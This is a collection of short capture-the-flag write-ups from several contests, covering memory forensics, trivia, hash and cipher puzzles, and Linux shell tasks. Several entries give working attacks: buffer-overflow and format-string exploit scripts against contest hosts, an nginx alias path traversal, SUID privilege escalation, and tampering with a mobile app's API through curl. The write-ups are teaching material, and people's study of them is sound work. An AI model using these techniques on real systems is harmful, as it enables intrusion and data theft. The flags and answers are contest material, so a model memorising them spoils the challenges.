text_chunk
stringlengths 151
703k
|
---|
# Hacktober2020 - Captured Memories
- Write-Up Author: Rb916120 \[[MOCTF](https://www.facebook.com/MOCSCTF)\]
- Flag:flag{3348}
## **Question:**Captured Memories

[Mem dump](https://drive.google.com/file/d/1hiRB_RQqMF0j_QFzfV2D2qqYQbSyrkLM/view?usp=sharing)
## Write up**First, below tool required in this article.**[volatility](https://www.volatilityfoundation.org/) - a great tools to let people performed completely independent of the system being investigated but offer visibility into the runtime state.of the system
First, the challenge ask for a PID of a memory dump program and given a memory dump file.Then [volatility](https://www.volatilityfoundation.org/) would be the best choice for this chall.
determinate which profile fit this memory dump.
```shellvol.py -f '/root/Desktop/hacktober/mem.raw' imageinfo```
Then, we can list the process detail with *pslist* command.
```vol.py -f '/root/Desktop/hacktober/mem.raw' --profile=Win10x64_17134 pslist```
search around with the list, winpmem is a tools use to dump memory.
>flag{3348} |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Trivia%202.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Trivia%202.md) -----
# Trivia 2
 
> Who’s operating system was IBM going to buy before MS-DOS? {no wrapper needed}
[https://www.forbes.com/forbes/1997/0707/6001336a.html?sh=19b930f140eb](https://www.forbes.com/forbes/1997/0707/6001336a.html?sh=19b930f140eb)
## Answer: Gary Kildall |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Trivia%204.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Trivia%204.md) -----
# Trivia 4
 
> Microsoft has been threatened by a secret hacker for the last couple of years. This hacker has been infiltrating their network and exposing secret information about them to the world. Microsoft is determined to catch this hacker. They set up a computer with vulnerabilities and attempt to lure this hacker into trying to hack this computer in order to reveal his origins. What is this type of system called?{no wrapper needed}
## Answer: HoneyPot |
# Overflow 2
 
```txtez overflow (or is it?)nc cyberyoddha.baycyber.net 10002- Haskell#1426```
---
... another _not too_ difficult _pwn_ challenge. This one differs from the previous challenge in you not having to overflow into another array on the stack, but rather into the function return pointer itself.
By looking at the source code, you'll see that you want to somehow call `run_shell` in order to get the flag... it's also not too difficult to see that the insecure function `gets` is being used instead of one of its safer alternatives - this will allow us to write arbitrary data onto the stack ...
```c#include <stdio.h>#include <stdlib.h>#include <string.h>
void run_shell(){ system("/bin/sh");}
void vuln(){ char buf[16]; gets(buf);}
int main(void) { vuln(); }```
... in radare, we can see that the function return pointer, which we want to overflow into is stored `0x1c` bytes after the beginning of the input buffer. Furthermore, we see that the `run_shell` function begins at `0x8049172` ...


You can use a short exploit script like the following to get a shell:
```py#!/usr/bin/python3
import structfrom pwn import *
run_shell=0x8049172left_padd=0x1cr = remote('cyberyoddha.baycyber.net', 10002)
r.sendline(b'X'*left_padd+struct.pack(' |
# Overflow 3
 
```txtlooks like buffer overflows aren’t so easy anymore.nc cyberyoddha.baycyber.net 10003- Haskell#1426```
---
... _hmm_ ... this challenge actually wasn't all that different from the previous one. This time, instead of overflowing into the return pointer, simply change the value of the `long int` by overflowing ...
As you can see in the source code, if you manage to change `vuln`'s value to `0xd3adb33f`, you will be presented with a shell:
```c#include <stdio.h>#include <stdlib.h>#include <string.h>
int main(void) { long vuln = 0; char buf[16];
gets(buf);
if (vuln == 0xd3adb33f){ system("/bin/sh"); }}```
... using radare, you can easily figure out `vuln`'s address in memory and the offset from the beginning of the input buffer to this `long` variable:


... now... simply write an exploit script, similiar to the previous one:
```py#!/usr/bin/python3
import structfrom pwn import *
r = remote('cyberyoddha.baycyber.net', 10003)o = 0x10
r.sendline(b'X'*o+struct.pack(' |
# FormatS
 
```txtThe flag's located somewhere in the binary. Can you find it?
nc cyberyoddha.baycyber.net 10005
- Haskell#1426```
---
Immediately after taking a look at the source code, we were able to tell that this binary could fall victim of a _format string exploit_, since the raw contents of the input buffer are being used as the **first** parameter of printf.
```c#include <stdio.h>#include <stdlib.h>#include <string.h>
int main (){ char *input; char *flag = "REDACTED!";
gets(input); printf(input);
return 0;}```
... first of all... use a short python one liner to see what values are stored on the stack:
```bashpython -c "print('%x.'*16)" | ./formats```
```txtffffffff.1010101.8049189.1.ff8fb6b4.ff8fb6bc.804a008.ff8fb610.0.0.f7d7408e.f7f42e1c.f7f42e1c.0.f7d7408e.1.```
... and... using something like `radare`, we were able to figure out, where the flag string would be stored in memory:

... luckily for us that address is still on the stack, once `printf` is called (simply take another look at the output of the python one liner above - you can see that it's stored at offset `7`).
We can now use this information to simply make the binary tell us the value of the `flag` variable:
```bashecho '%7$s' | nc cyberyoddha.baycyber.net 10005```
... this will eventually give you the flag: `cyctf{3xpl0!t_th3_f0rm@t_str!ng}` |
# (un)F0r7un@t3
 
```txtThree of our best agents: Ron, Adi, and Leonard, were investigating the notorious hacker group known as the unF0r7un@t3s. Fortunately, one of their members dropped a fortune cookie behind from their last scandal. We believe it might be a clue to where they will attack next. The fortune inside read: You will find your fortune at 23441987, 31018357. The lucky numbers on the back were, n52035749, e101, and *10^-6. What location do you think they will be heading to next?
NOTE: No wrapper is necessary for this problem.
- YoshiBoi#2008```
---
Ok... several hints in the task description ^^. First of all, the names of the best agents `Ron`, `Adi` and `Leonard`, coincidentally are the firstnames of the authors of the _RSA_ crypto system. Also the names of the parameters: `n` and `e` also exist in _RSA_.
So... considering this, we concluded that the first step of getting the flag was cracking the encrypted RSA.
You can simply use [RSACtfTool](https://github.com/Ganapati/RsaCtfTool) for this:
```bashpython27 RsaCtfTool.py -e101 -n52035749 --uncipher 23441987```
```txtUnciphered data :HEX : 0x02e98cd7INT (big endian) : 48860375INT (little endian) : 3616336130STR : b'\x02\xe9\x8c\xd7'```
```bashpython27 RsaCtfTool.py -e101 -n52035749 --uncipher 31018357```
```txtUnciphered data :HEX : 0x23aefeINT (big endian) : 2338558INT (little endian) : 16690723STR : b'#\xae\xfe'HEX : 0x0023aefeINT (big endian) : 2338558INT (little endian) : 4272825088STR : b'\x00#\xae\xfe'```
... all that was left to do now, was to take the `INT (big endian)` results, divide them by the last lucky number, and enter the resulting GPS coordinates on Google Maps:

... the flag therefore was: `Louvre` |
# Flag delivery
 
```txtOur good friend Yeltsa Kcir ordered a flag for us from the renowned flag delivery service. We got their letter today, but we can’t see the flag they sent us. Apparently Yeltsa has been talking with the scientist Odec Esrom. Can you find the flag he hid for us?
- stephencurry396#4738```
```txtD ?M6?M6?M6?M6 ?M6D D?M6 D?M6DD?M6DD DDD ?M6?M6D?M6?M6D?M6 DDD ?M6D?M6DDD ?M6D?M6 D?M6?M6 ?M6 ?M6D?M6 ?M6?M6 D?M6 DD?M6D?M6DD ?M6 ?M6D?M6?M6 D ?M6?M6?M6 ?M6DD?M6D D?M6D?M6 ?M6?M6 ?M6D?M6 ?M6DDDD?M6 ?M6?M6?M6?M6?M6D?M6 ?M6D?M6?M6 ?M6D DD?M6D?M6?M6 ?M6 ?M6D?M6?M6 ?M6?M6 ?M6?M6?M6D ?M6 ?M6D?M6 D?M6DD D?M6D?M6DDD?M6DD DDD ?M6?M6D ?M6D?M6?M6?M6D?M6 ?M6D?M6?M6 ?M6D DD?M6?M6?M6 ?M6?M6?M6D?M6D?M6 D?M6DD D?M6D?M6 D ?M6?M6D?M6 ?M6D?M6 ?M6?M6?M6DD ?M6DD?M6D?M6 D?M6?M6 ?M6?M6DD?M6D D?M6?M6?M6 ?M6?M6?M6DD D ?M6DD ?M6?M6?M6DD ?M6?M6?M6DD D?M6 ?M6?M6DD?M6D D ?M6?M6?M6?M6 ?M6?M6?M6DD ?M6?M6DD?M6D ?M6D?M6?M6 ?M6DDDD D?M6 ?M6?M6?M6DD ?M6?M6?M6 ?M6D?M6D?M6D?M6DD ?M6?M6?M6?M6?M6 DDD ?M6DD?M6 ?M6D?M6DD DDD ?M6?M6D?M6D?M6?M6 ?M6?M6 D?M6D ?M6DDD ?M6?M6D ?M6D?M6?M6?M6?M6 ?M6 ?M6D?M6 ?M6?M6?M6D ?M6?M6 D?M6D?M6 ?M6?M6D D?M6 D?M6?M6D ?M6D?M6 D?M6DD?M6D DD?M6 ?M6D ?M6?M6 D?M6 ?M6D?M6D?M6D```
---
`Yeltsa Kcir` is spelling names backwards. It means `rick astley`
So `Odec Esrom` would spell `Morse Cedo` => Morse Code?
After some trial and error, we found out, that `D` is long and `?M6` is short. We wrote a little Python Script [solve.py](./solve.py)
Pasting the output into CyberChef:
```THANK YOU FOR ORDERING YELTSA KCIR'S FLAG DELIVERY! YOUR FLAG IS CYCTFR3@D_B3TW33N_TH3_L1N3S. WE HOPE YOU LIKE OUR SERVICE AND TRY AGAIN. ```
`CYCTF{R3@D_B3TW33N_TH3_L1N3S}`
|
# Around the World
 
```txtThank you for narrowing down the unF0r7un@t3s base of operations in "Hash Browns". We figured out that the password was the city and zip code of where they would be located. We have noticed a high level of suspicious activity near the “Laser Game Evolution Grenoble”. Please look into this location’s details. You may want to interview people who have been there before, and ask them if they had noticed anything strange.
- YoshiBoi#2008```
---
Like the challenge title suggests, this challenge involves many steps ^^ - you virtually "travel around the world".
First of all, take a look at the Google Maps location included in the task statement. ([Laser Game Evolution Grenoble](https://www.google.com/maps/place/Laser+Game+Evolution+Grenoble/@45.1807256,5.7201182,17.21z/data=!4m5!3m4!1s0x0:0x382f2e8c712550fd!8m2!3d45.1814092!4d5.7208863)).
Here, you can find a review written by a user with a familiar username ^^:

... plus, a couple of interesting phrases: `bitly` and `35u03gO` - this can be formatted to form this URL: [https://bit.ly/35u03g0](https://bit.ly/35u03g0).
Once you have opened it, you'll see that you've been redirected to a Google Docs document with the following contents:
```txt00110110 00110010 00100000 00110110 00111001 00100000 00110111 00110100 00100000 00110010 01100101 00100000 00110110 01100011 00100000 00110111 00111001 00100000 00110010 01100110 00100000 00110011 00110011 00100000 00110110 01100100 00100000 00110110 00110111 00100000 00110111 01100001 00100000 00110100 00110010 00100000 00110110 00110111 00100000 00110101 00110001```
... _hmmm_... simply paste it into cyberchef; apply `from binary -> from hex` and find the next `bit.ly` URL: [https://bit.ly/3mgzBgQ](bit.ly/3mgzBgQ).
Once you open this one, you'll get the file `run.mp3`. A look at the spectrogram in something like `Audacity` will give you the next URL ^^:

... now... open [https://bit.ly/3bSv930](https://bit.ly/3bSv930) and you'll find the second-last step of the challenge ^^ - the following image `jabby.png`:

... from previous CTFs and from the image's title we knew that this was a `JAB` code. You can simply google and find an online scanner such as [jabcode.org](https://jabcode.org/scan/). The image's content turned out to be:
```txtQ1lDVEZ7dzB3X3kwdV9yMzRsbHlfckBuX2FyMHVuZF9AX2wwdF90MF9mIW5kX20zfSBOb3cgdGhhdCB5b3UncmUgaGVyZSwgbWlnaHQgYXMgd2VsbCBjaGVjayBvdXQgdGhpcyBhd2Vzb21lIGxpbms6IGh0dHBzOi8vYml0bHkuY29tLzk4SzhlSA==```
... which, once you base64 decode it finally gives you the flag (+ a rick-roll, lol ^^):
```txtCYCTF{w0w_y0u_r34lly_r@n_ar0und_@_l0t_t0_f!nd_m3} Now that you're here, might as well check out this awesome link: https://bitly.com/98K8eH```
... now all that was left to do, was to submit: `CYCTF{w0w_y0u_r34lly_r@n_ar0und_@_l0t_t0_f!nd_m3}` |
# Overflow 1
 
```txtez overflow.
nc cyberyoddha.baycyber.net 10001
- Haskell#1426```
---
Ok... in the source code you can see that an array `str` is defined near the beginning of the `main` function and that, in case it's content is not `"AAAA"` in the end, a shell will be opened:
```c#include <stdio.h>#include <stdlib.h>#include <string.h>
int main(void) { char str[] = "AAAA"; char buf[16];
gets(buf); if (!(str[0] == 'A' && str[1] == 'A' && str[2] == 'A' && str[3] == 'A')){ system("/bin/sh"); }}```
This is, as the task description says, still an `ez` challenge ^^. In `radare`, you can see that the `str` array is right after `buf` on the stack...

... so... simply pass a string that's longer than `16` characters, but also not too long ^^ you don't necessarily want to overwrite any other stack values, to the programs `stdin` (no exploit script needed for this one):
```bash(python -c "print('B'*20)";cat) | nc cyberyoddha.baycyber.net 10001```
... now that you have a shell, use it to `cat` the flag: `CYCTF{st@ck_0v3rfl0ws_@r3_3z}` |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Trivia%208.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Trivia%208.md) -----
# Trivia 8
 
> What programming language has this logo:{no wrapper needed}

If you do not know the answer a Reverse Google Image Search would tell you it!
## Answer: Haskell |
# shebang0
 
```txtWelcome to the Shebang Linux Series. Here you will be tested on your basic command line knowledge! These challenges will be done threough an ssh connection. Also please do not try and mess up the challenges on purpose, and report any problems you find to the challenge author. The username is the challenge title, shebang0-6, and the password is the previous challenges flag, but for the first challenge, its shebang0The first challenge is an introductory challenge. Connect to cyberyoddha.baycyber.net on port 1337 to recieve your flag!- stephencurry396#4738```
---
The first one of these challenges was still fairly trivial to solve. Simply connect to the server given in the task statement, list all files in the users home directory and cat the flag:
```bashssh [email protected] -p1337ls -lacat .flag.txt```
... _tadaa_, here you go: `CYCTF{w3ll_1_gu3$$_b@sh_1s_e@zy}` |
This is just a basic problem to get everyone's feet wet in preparation of the rest of the CTF competition. It tests whether the player knows how to correctly enter a flag, which is necessary in order to get any points over the course of the competition, as well as informs the player what the format of the flags is.
To solve this challenge, just enter **MetaCTF{string_separated_with_und3rscores}** for an easy 50 points. |
# shebang3
 
```txtThese files are the same...
- stephencurry396#4738```
---
The description actually tells you pretty much exactly what to do: find the difference ^^.
You can just use the UNIX `diff` command to do that for you:
```bashdiff file.txt file2.txt```
```txt106526a106527> C107719a107721> Y108477a108480> C109644a109648> T109873a109878> F110293a110299> {111434a111441> S111715a111723> P111969a111978> O112285a112295> T112548a112559> _113046a113058> T113525a113538> H114286a114300> 3114773a114788> _115594a115610> D116750a116767> 1117691a117709> F118643a118662> F121288a121308> }...```
... _et voilà_ ... the flag was: `CYCTF{SPOT_TH3_D1FF}` |
# shebang1
 
```txtThis challenge is simple.
- stephencurry396#4738```
---
The task description is not wrong ^^. Simply connect via SSH, cat flag.txt and grep for `CYCTF`:
```bashssh [email protected] -p1337/bin/bashls -lacat flag.txt | grep CYCTF```
... this will give you: `CYCTF{w3ll_1_gu3$$_y0u_kn0w_h0w_t0_gr3p}` |
so... we were given a shell through ssh `ssh [email protected]` and ther was some restrictions that we couldn't use `cat` command to read the flag.
there is a looot of ways to bypass it. depending on how it's implemented. I have no idea why I choose this way among others, but I tried to raise an error by `exec < ./flag.txt` and it worked, showed the flag.txt content to say there is no such command/file `RaziCTF{th3r3_!s_4_c4t_c4ll3d_fl4g}`.
though of course before it reach the part that there is no such flag, it got that exclamination sign character and raised error about bash events. |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Trivia%201.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Trivia%201.md) -----
# Trivia 1
 
> Who created linux? {no wrapper}
## Answer: Linus Torvalds |
after decompiling the given apk, and reading some of the source code, it's so apparent two of the java code files get input (one for registeration and one for login), and each of those 3 side java files also call a native function with same name each in a native library.
I opened each library using cutter and decompiled the `stringFromJNI` functions and got the strings those returned:```http://37.152.186.157/api/loginhttp://37.152.186.157/api/registerhttp://37.152.186.157/api/updateCoin```
the fields passed to these api endpoints are very apparent in java code files.
so... I registered and got a jwt token:```$ curl -X POST -d 'name=someone' -d '[email protected]' -d 'password=securitylaughes' http://37.152.186.157/api/register{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdWQiOiIxIiwianRpIjoiNGJjMjQ4OTJhYTIzZWRjMzM1YTdjN2NkYmI4OTIwMjlhZjEyMTZjYzRkZDg1NWJhMjQxMDM4MjI4MDQzY2VmY2Y1NzMxMzBjMmIyYTQ2YzgiLCJpYXQiOjE2MDM5ODczNTMsIm5iZiI6MTYwMzk4NzM1MywiZXhwIjoxNjM1NTIzMzUzLCJzdWIiOiIxMjciLCJzY29wZXMiOltdfQ.emDVUrS_haOlprK53U0syul0JTwUWsYEXhH6v2cD1niMExLfPNKzDKYVWTH6ryhmdonVDb-n2R7sb6qpwhbQ33x6a7MrblJlUD2zmViCZ-2YCuzblwpn0waSIpGmihXRmZUboiFxdqQIoeR5h6vB2vNZC0caJ9X66BW6U8AKrNvfUZFFqJl-V_3YJ5xGnZ1IjWrS39q5t7YOHBd7MxUWBLO2P4mkrB9cqWP55Rf7mCyzZ0tawcQgmgoZdlD5Ukz5UppPHHT9JiCEffrj-qRe_r9DKD8pm09AAS8EjgfJBdlld-_IfPRklnaEFphMe3lKhZ-rTt83BKNPkCYEZB5EmMEKIe5eCJUZH2BUSOjB-y3Xj9SCVQcsQdJ5i5Nu_aPnJASllwbw_U3HXY-SW9KZHeV1s-MRIU7ccFywW_Fqve5KSnI3wngj4yoGk7M2MoPznwkEiqfI54eLLD3ZC-ryL0kG7MbwGsJTPMx6QmHyMMVF3IH2b8JvojPDpHFHopDWq-0N1Rgj82Y4AVOKwlLqAUJzqa7UGQ0ZTgJaTBjjNENPf9_5PpC7q4X0xHFDHBtYBJLHo1pDHFK5p-B7MvLgHnJ-ND4_iVu9R2KrTrlMKc-9JHbah9m0wI90hiUYuBeKM3L6PCeJwqrM6F_PBvJvwQB2iltdorUkKNpunWskRhQ","coinCount":null,"message":"Signed Up"}```
I saved the jwt token in a bash variable `token` for ease of use on later api calls.
now having a token and updateCoin api endpoint, I tried to change the coin amount as asked:```$ curl -X POST -H "Authorization: Bearer $token" -H 'Content-Type: application/json' -d "{\"token\": \"$token\", \"coinCount\": \"2000000000000000\"}" http://37.152.186.157/api/updateCoin{"message":"The purchase was successful","coinCount":"2000000000000000","flag":"ZmRzdnNkRlNEcWUzQFFxZURXRUZEU1ZGU0RTNTVkc2Y1ZmV2c0RGcnEzNSRSI3J3ZnNlZnJ3IyQjJSNA"}```
and we got the flag: `RaziCTF{ZmRzdnNkRlNEcWUzQFFxZURXRUZEU1ZGU0RTNTVkc2Y1ZmV2c0RGcnEzNSRSI3J3ZnNlZnJ3IyQjJSNA}`
this challenge could've been solved by either frida or wireshark (since http and not secure) too... |
*tl;dr: each stage constructs a part of the flag* [full writeup here](https://blackbeard666.github.io/pwn_exhibit/content/2020_CTF/RaziCTF/android_lock/lock_writeup.html) (https://blackbeard666.github.io/pwn_exhibit/content/2020_CTF/RaziCTF/android_lock/lock_writeup.html) |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Welcome.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Welcome.md) -----
# Details
 
> Join our discord! Use Carl-bot's flag command to capture this flag!
Over in discord, if we look in the "**guide**" channel we can see that commands to Carl-Bot need to be prefixed with a "**?**"

So we send the we send the command ```?flag``` in the **bot-commands** channel and get a direct message reponse from Carl-bot;

So the flag for this challenge is;
## CYCTF{W3lc0m3_t0_Cyb3rY0ddh@_CTF_2020!} |
#### secure (I think?) (150 pts)
PRESTEP: I used cyberchef hash analysis tool to find out it is MD5, also, you can just google the hash to find the unhashed version... 1. [This link](https://md5.gromweb.com/?md5=b0439fae31f8cbba6294af86234d5a28) reverses the MD5 hash
FLAG: securepassword |
# Key generator
 
```txtThis is our official key generator that we use to derive keys from machine numbers. Our developer put a secret in its code. Can you find it?```
---
Reversing the given binary you'll discover a couple of things:
1. It checks, whether or not the entered string has a length of `7` and stops/continues execution accordingly.

2. It compares the input string to the static string `laska!!`.

This is were it gets interesting:
* if the strings don't match, it'll just generate some random serial number according to this pattern:
```txtinp[6]-6 + inp[5]-5 + inp[4]-4 + ... + inp[0]-0```
* if the string do match, however, it calls the function `octal()` which prints the following:
```txt1639171916391539162915791569103912491069173967911091119123955915191639156967955916396391439125916296395591439609104911191169719175
You are not done yet!```
... _hmm_ ... actually, the last step isn't too difficult anymore ^^. The kind message tells us that we're not done yet... and... the name of the function that prints this gives us a good hint at what could possibly still be missing: `octal()`.
Simply split the weird long string at every `9` (since this obviously doesn't exist in octal) and decode the resulting string using the octal character codes:
```txt163 171 163 153 162 157 156 103 124 106 173 67 110 111 123 55 151 163 156 67 55 163 63 143 125 162 63 55 143 60 104 111 116 71 175```
... this gives us the flag: `syskronCTF{7HIS-isn7-s3cUr3-c0DIN9}` |
#### Password 2 (175 pts)
1. Run [p2_solve.py](https://finay.github.io/Writeups/Cyberyoddha/Solve-Scripts/p2_solve.py) ```python given = "CYCTF{ju$@rcs_3l771l_@_t}bd3cfdr0y_u0t__03_0l3m"
flag = ["A" for i in range(47)]
for i in range(0, 9): flag[i] = given[i]for i in range(9, 24): flag[i] = given[32 - i]for i in range(24, 47, 2): flag[i] = given[70 - i]for i in range(45, 25, -2): flag[i] = given[i]
print("".join(flag)) ```
FLAG: CYCTF{ju$t_@_l177l3_scr@mAl3_f0r_y0u_t0_d3c0d3} |
# shebang0 | Points:125Challenge description:> Welcome to the Shebang Linux Series. Here you will be tested on your basic command line knowledge! These challenges will be done threough an ssh connection. >> Also please do not try and mess up the challenges on purpose, and report any problems you find to the challenge author. You can find the passwords at >> /etc/passwords. The username is the challenge title, shebang0-5, and the password is the previous challenges flag, but for the first challenge, its shebang0>> The first challenge is an introductory challenge. Connect to cyberyoddha.baycyber.net on port 1337 to recieve your flag!
1)Connect using the given credentials> ssh [email protected] -p 1337>> Password: shebang0
2)You'll be prompted something like this> shebang0@c18466cfac18:~$
3)First i tried --> __ls__ command, but it didn't worked
4)So i used __ls -la__
> Note: ls -la is used to list all the files including hidden files also
5)There is a hidden file named __.flag.txt__
6)Using cat command open the file> cat .flag.txt
7)Hurrah we found the flag!!!> Flag:CYCTF{w3ll_1_gu3$$_b@sh_1s_e@zy}
Happy hacking!!! |
# babyrev
## Task
We didn’t want to overwhelm you, so let's start with baby rev;
## Solution
```bash$ file babyrev.outbabyrev.out: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f58c6c1dbfa854af63d64523f4aab912b1a525e7, for GNU/Linux 3.2.0, not stripped```
If we load this up in `radare2` we can see a lot of logic in main, so we start `ghidra` to use the decompiler.
```cundefined8 main(void) { char cVar1; int iVar2; char input [48]; int counterThree; int counterTwo; int counter; char local_9;
puts("Hello World"); puts( "Welcome to the Flag checker program. Please enter your flag here, and we will verify whetherit is correct!" ); __isoc99_scanf(&DAT_00102084,input); local_9 = '\x01'; counter = 0; while (counter < 0x2b) { if ((counter < 0) || (7 < counter)) { if ((counter < 9) || (0xf < counter)) { if ((counter < 0x11) || (0x18 < counter)) { if ((counter < 0x17) || (0x22 < counter)) { if ((0x25 < counter) && (counter < 0x2c)) { input[counter] = input[counter] + -0xd; } } else { input[counter] = input[counter] + -0xd; } } else { input[counter] = input[counter] + '\a'; } } else { input[counter] = input[counter] + -5; } } else { input[counter] = input[counter] + '\x03'; } counter = counter + 1; } counterTwo = 0; while (counterTwo < 0x2b) { cVar1 = input[counterTwo]; if (cVar1 < '\0') { cVar1 = cVar1 + '\x03'; } input[counterTwo] = cVar1 >> 2; counterTwo = counterTwo + 1; } counterThree = 0; while (counterThree < 0x2b) { input[counterThree] = input[counterThree] * '\x03'; counterThree = counterThree + 1; } iVar2 = strcmp(input,"3E3?6]QHKTHQQBEETTNKZQ]K]?K<KHH<BQ<KQT<QHNT"); if (iVar2 != 0) { local_9 = '\0'; } if (local_9 == '\0') { puts("ACCESS DENIED"); } else { puts("ACCESS GRANTED"); } return 0;}```
I already renamed some variables.
We can see three for-loops that modify a char array that is scanned in. Let's clean it up:
```cint main(){ char input [43] = {"3E3?6]QHKTHQQBEETTNKZQ]K]?K<KHH<BQ<KQT<QHNT"};
for (int i = 0; i < 43; i++) { if (i > 7) { if ((i < 9) || (15 < i)) { if ((i < 17) || (24 < i)) { if ((i < 23) || (i > 34)) { if (i > 37) { input[i] = input[i] - 13; } } else { input[i] = input[i] - 13; } } else { input[i] = input[i] + 7; } } else { input[i] = input[i] - 5; } } else { input[i] = input[i] + 3; } }
for (int i = 0; i < 43; i++) { input[i] = (input[i] >> 2) * 3; }
if (strcmp(input,"3E3?6]QHKTHQQBEETTNKZQ]K]?K<KHH<BQ<KQT<QHNT") != 0) { puts("ACCESS DENIED"); } else { puts("ACCESS GRANTED"); }
return 0;}```
In the second for-loop we can see a leftshift 2, so we actually lost the last three bits of the input in the final string. That's a problem but we can fix it.
I copied this code to python to make it easier to work on:
```pythonreq = "3E3?6]QHKTHQQBEETTNKZQ]K]?K<KHH<BQ<KQT<QHNT"has = "3E3?6]QHKTHQQBEETTNKZQ]K]?K<KHH<BQ<KQT<QHNT"input = [ord(x) for x in has];
def change(i): do = 0 if (i > 7): if ((i < 9) or (15 < i)): if ((i < 17) or (24 < i)): if ((i < 23) or (i > 34)): if (i > 37) : do = -13; else: do = -13; else: do = +7; else: do = -5; else: do = 3; return do
def convert(x, i): return ((x + change(i)) >> 2) * 3
for i in range(43): input[i] = convert(input[i], i)
poss = [[] for x in range(len(has))]for i in range(len(has)): for x in range(256): try: if chr(convert(x, i)) == req[i] and chr(x) not in ["[","]","^","`"]: poss[i].append(chr(x)) except Exception as e: pass
from itertools import productfor p in product(*poss): print(''.join(p))
print(req)print(''.join([chr(x) for x in input]))```
Instead of inverting the algorithm I just used bruteforce to find all possible characters for a given position. I could've inverted the computation and add 0-3 to the resulting byte too.
We can now set some values in poss and use the last loop to print all possibilities. Since there are a lot we can slice the array at underscores and find one word at a time. We could use an english dictionary to find words but reading all of them was faster than coding.
After some minute we get: `CYCTF{i_guess_basic_rev_was_too_ez_for_you}` |
# shebang1 | Points:125# Challenge Description: This challenge is simple.
1)Login with given credentials> ssh [email protected] -p 1337>> password:CYCTF{w3ll_1_gu3$$_b@sh_1s_e@zy}
> Note: Password for this challenge is shebang0's flag
2)Type __ls__ to list the files
3)There is a file called __flag.txt__
4)First i used __cat__ command. But it is not useful
5)So next i used __grep__ command> command: grep -r "CYCTF"*
> Note:grep is a command-line utility for searching plain-text data sets for lines that match a regular expression.
6)wow!!! we found the flag> Flag:CYCTF{w3ll_1_gu3$$_y0u_kn0w_h0w_t0_gr3p}
Happy hacking!!! |
run command to check binaries that ran as root
```find / -perm -u=s 2>/dev/null```
outputed:
```luciafer@b2e7e490a680:~$ find / -perm -u=s 2>/dev/null/usr/bin/umount/usr/bin/passwd/usr/bin/mount/usr/bin/gpasswd/usr/bin/su/usr/bin/chsh/usr/bin/newgrp/usr/bin/chfn/usr/local/bin/ouija/usr/lib/openssh/ssh-keysign/usr/lib/dbus-1.0/dbus-daemon-launch-helper```
use ouija to print out flags, worked for flag3.txt (view below) and and flag4.txt in (/root/flag4.txt)
`/usr/local/bin/ouija ../home/spookyboi/Documents/flag3.txt ` |
# Dotlocker 1
This was the only flag I managed to capture during the CTF itself, and this was definitely interesting enough to warrant a write up for both parts (we figured out Dotlocker 2 after the CTF ended)!
Visiting the main page we're greeted with the DotLocker application. Looks like it's specifically designed to do dotfile storage. Neat!

Generally with web apps you want to capture all the functionality you can, so I generally start off testing through all the workflows I can, so creating a new dotfile, creating one from a skeleton, etc etc.

The first thing to notice is that when you create a new dotfile from a template, it seems to be fetching it directly from the `/etc` directory! Interesting design choice, but also not entirely outside the realm of possibility if you've ever met "enterprise" developers :P.

So let's tinker! We have no idea about the stack at this point, but the standard LFI -> RCE path is to use your LFI to include `/proc/self/environ` and hope to inject code into one of the CGI environment variables passed in. Let's try that:

Hmm, no dice. Testing around for other files (`/var/log/auth.log`, `/var/log/messages`, etc) it's clear that we're likely constrained to `/etc` only :-/. Well, with that, what else can we see? Files like `/etc/shadow` and `/etc/passwd` help us enumerate users on the system (and potentially brute-force their credentials).

Looks like we have an `app` user with uid 1337 :P. How about /etc/shadow?

Interesting! This implies that the webserver isn't actually running as root on the box (the `app` user also helps confirm that) and likely doesn't have permissions to read that.
Anyway, what else can we examine in here that might give us hints?

Looking at the response headers, it looks like there's an nginx server running, let's try to find the config for that?

Hey that works, looks like we have our main nginx config file here and we can read it. Typically this file is more of a general catch-all config, most site configs live in `/etc/nginx/sites-enabled/default` or `/etc/nginx/sites-available/default`, so let's check those for more info.

A hah! That looks promising. With this config we're able to discern:- There's a `/server` folder on the server, that's holding a `server.py` file- This application is using gunicorn as it's python server, being proxied to through nginx- This application has a `/static` directory, aliased to `/server/static`
The `/static` route shares out files using the nginx `alias`, but seems somewhat suspect (there are a few ways to configure these static routes, and alias isn't one I'm familiar with).
Googling "nginx alias vulnerability" lead me to https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/, which describes an issue with this exact config. Apparently not having a trailing `/` on `/static` means we can traverse up a directory and read files we shouldn't be able to, which is *very* relevant to our interests!

Requesting `/static../server.py` and bam! We found our flag - `flag{0ff_by_sl4sh_n0w_1_hav3_y0ur_sourc3}` |
> # supa secure | Points:225 >challenge description:>> This time it’s a little tricker to crack the password: 19d14c463333a41a1538dbf9eb76aadf>> You might also need this for something: cyctf>> Are you up for the challenge?>> ---------------------------------------------------------------------------------------------------1)First step is to identify the type of hash. For that i used this website> https://www.tunnelsup.com/hash-analyzer/
2)From this website i found that this is an MD5 hash.
3)Now our goal is to decrypt this hash. To decrypt this hash i used> https://www.md5online.org/md5-decrypt.html
4)Paste the hash inside the box and hit the Decrypt button.
5)You'll be greeted with this:cyctfilovesalt
6)Enclose this value within the curly braces. That is the flag.
> Flag: cyctf{ilovesalt}
Happy Hacking!!? |
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Shebang2.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Shebang2.md) -----
# Shebang2
 
